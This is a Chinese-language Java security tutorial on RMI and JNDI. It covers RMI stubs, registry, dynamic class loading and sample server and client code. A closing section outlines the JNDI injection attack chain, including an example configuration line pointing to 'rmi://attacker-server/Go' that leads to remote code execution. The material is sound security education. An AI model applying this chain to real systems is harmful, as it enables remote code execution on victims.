Java安全入门(三)--RMI&JNDI

JDK体系

在这里插入图片描述

RMI

1.RMI原理

1.1远程方法调用

远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

1.2远程对象

使用远程方法调用,必然会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。

任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。如下:

1
2
3
4
5
6
7
8
9
10
11
public class HelloImpl implements IHello {
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}

@Override
public String sayHello(String name) {
System.out.println(name);
return name;
}
}

注: IHello是客户端和服务端共用的接口(客户端本地必须有远程对象的接口,不然无法指定要调用的方法,而且其全限定名必须与服务器上的对象完全相同),HelloImpl是一个服务端远程对象,提供了一个sayHello方法供远程调用。它没有继承UnicastRemoteObject类或者实现java.rmi.Remote接口,而是在构造方法中调用了UnicastRemoteObject.exportObject()。

在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub基本上相当于是远程对象的引用或者代理。Stub对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节,所以RMI远程调用逻辑是这样的:

image-20211101175727468

从逻辑上来看,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。

  1. Server端监听一个端口,这个端口是JVM随机选择的;
  2. Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
  3. Client端可以调用Stub上的方法;
  4. Stub连接到Server端监听的通信端口并提交参数;
  5. 远程Server端上执行具体的方法,并返回结果给Stub;
  6. Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;

那怎么获取Stub呢?

1.3RMI注册表

Stub的获取方式有很多,常见的方法是调用某个远程服务上的方法,向远程服务获取存根。但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在传说中的1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。

要注册远程对象,需要RMI URL和一个远程对象的引用。

1
2
3
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。

1
2
3
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");

使用RMI Registry之后,RMI的调用关系是这样的:

image-20211101175931197

所以其实从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口(默认为1099),另一个是远程对象的通信端口(随机分配的)。这个通信细节比较重要,真实利用过程中可能会在这里遇到一些坑。

1.4动态加载类

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

这个概念比较重要,JNDI注入的利用方法中也借助了动态加载类的思路。

这里涉及到的角色:客户端、RMI注册表、远程对象服务器、托管class文件的Web服务器可以分别位于不同的主机上:

image-20211101180028289

2.亲自动手实验

2.1同一个项目中直接调用

接口

1
2
3
4
5
package com.run.rmi;

public interface IHelloService {
String sayHello(String msg);
}

实现类

1
2
3
4
5
6
7
8
package com.run.rmi;

public class HelloServiceImpl implements IHelloService {
@Override
public String sayHello(String msg) {
return "Hello,"+msg;
}
}

client – 在同进程中 我们当然可以直接调用 但是在不同进程中呢

1
2
3
4
5
6
7
8
9
10
11
12
package client;

import com.run.rmi.HelloServiceImpl;
import com.run.rmi.IHelloService;

public class ClientDemo {
public static void main(String[] args) {
IHelloService helloService = new HelloServiceImpl();
System.out.println(helloService.sayHello("b1ue0cean"));

}
}

2.2实现rmi

首先在接口要调用 Remote 类

1
2
3
4
5
6
7
8
package com.run.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHelloService extends Remote {
String sayHello(String msg) throws RemoteException;
}

然后在 实现类 要继承 UnicastRemoteObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.run.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloServiceImpl extends UnicastRemoteObject implements IHelloService {
protected HelloServiceImpl() throws RemoteException {
super();
}

@Override
public String sayHello(String msg) throws RemoteException{
return "Hello,"+msg;
}
}

然后我们要开个服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.run.rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class Server {
public static void main(String[] args) throws RemoteException, MalformedURLException {
IHelloService helloService = new HelloServiceImpl();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1/Hello",helloService);
System.out.println("服务启动成功");
}
}

再回到客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package client;

import com.run.rmi.IHelloService;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class ClientDemo {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
IHelloService helloService = (IHelloService) Naming.lookup("rmi://127.0.0.1/Hello");
System.out.println(helloService.sayHello("b1ue0cean"));

}
}

之后先开 服务端 再开客户端 发现调用成功!

2.3源码分析

首先考虑一个问题 如果让你自己写一个这样的功能 你需要考虑哪些问题?

1.提供对外的服务(socket)

2.服务如何调用?

跟了下源码 客可画出如下类图

image-20211101171238909

服务端启动 Registry 的过程

1
LocateRegistry.createRegistry(1099);

跟一下 createRegistry 其反回了一个 接口的调用

1
2
3
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}

然后 Registry 仍然是继承了 Remote 类

1
public interface Registry extends Remote {

也就是说 RegistryImplHelloServiceImpl 是属于同一个等级的 且都会被包装成代理对象

RegistryImpl stub HelloServiceImpl stub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public RegistryImpl(int port)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
// grant permission for default port only.
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref, RegistryImpl::registryFilter));
return null;
}
}, null, new SocketPermission("localhost:"+port, "listen,accept"));
} catch (PrivilegedActionException pae) {
throw (RemoteException)pae.getException();
}
} else {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref, RegistryImpl::registryFilter));
}
}

看到了 UnicastServerRef

之前的 HelloServiceImpl 也会跟到这里 UnicastServerRef

1
2
3
4
5
public static Remote exportObject(Remote obj, int port)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}

绑定url和对应服务的关系 类似于注册中心

1
Naming.rebind("rmi://127.0.0.1/Hello",helloService);

再跟 exportObject 会 跟到一些协议上去 这里就不再深入了 毕竟我们是搞安全的

JNDI

1.JNDI原理

JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。 JNDI可以兼容和访问现有目录服务如:DNS、XNam、LDAP、CORBA对象服务、文件系统、RMI、DSML v1&v2、NIS等。

我在这里用DNS做一个不严谨的比喻来理解JNDI。当我们想访问一个网站的时候,我们已经习惯于直接输入域名访问了,但其实远程计算机只有IP地址可供我们访问,那就需要DNS服务做域名的解析,取到对应的主机IP地址。JNDI充当了类似的角色,使用统一的接口去查找对应的不同的服务类型。

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

image-20211101180414035

JNDI客户端调用方式

1
2
3
4
5
6
//指定需要查找name名称
String jndiName= "jndiName";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。

2.JNDI利用方式

JNDI注入起源

  1. 恶意applet使用JNLP实例化JNDI InitialContext
  2. javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
  3. 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为:java.naming.provider.url = rmi://attacker-server/Go
  4. 在InitialContext初始化期间查找rmi//attacker-server/Go,攻击者控制的注册表将返回JNDI引用 (javax.naming.Reference)
  5. 服务器从RMI注册表接收到JNDI引用后,它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例
  6. 由于攻击者控制了工厂类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行

参考文章

深入理解JNDI注入与Java反序列化漏洞利用 - FreeBuf网络安全行业门户

大佬博客

Java 反序列化过程中 RMI JRMP 以及 JNDI 多种利用方式详解 (seebug.org)

JAVA JNDI 注入知识详解 (seebug.org)

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上) (seebug.org)

关于 JNDI 注入 (seebug.org)

深入理解 JAVA 反序列化漏洞 (seebug.org)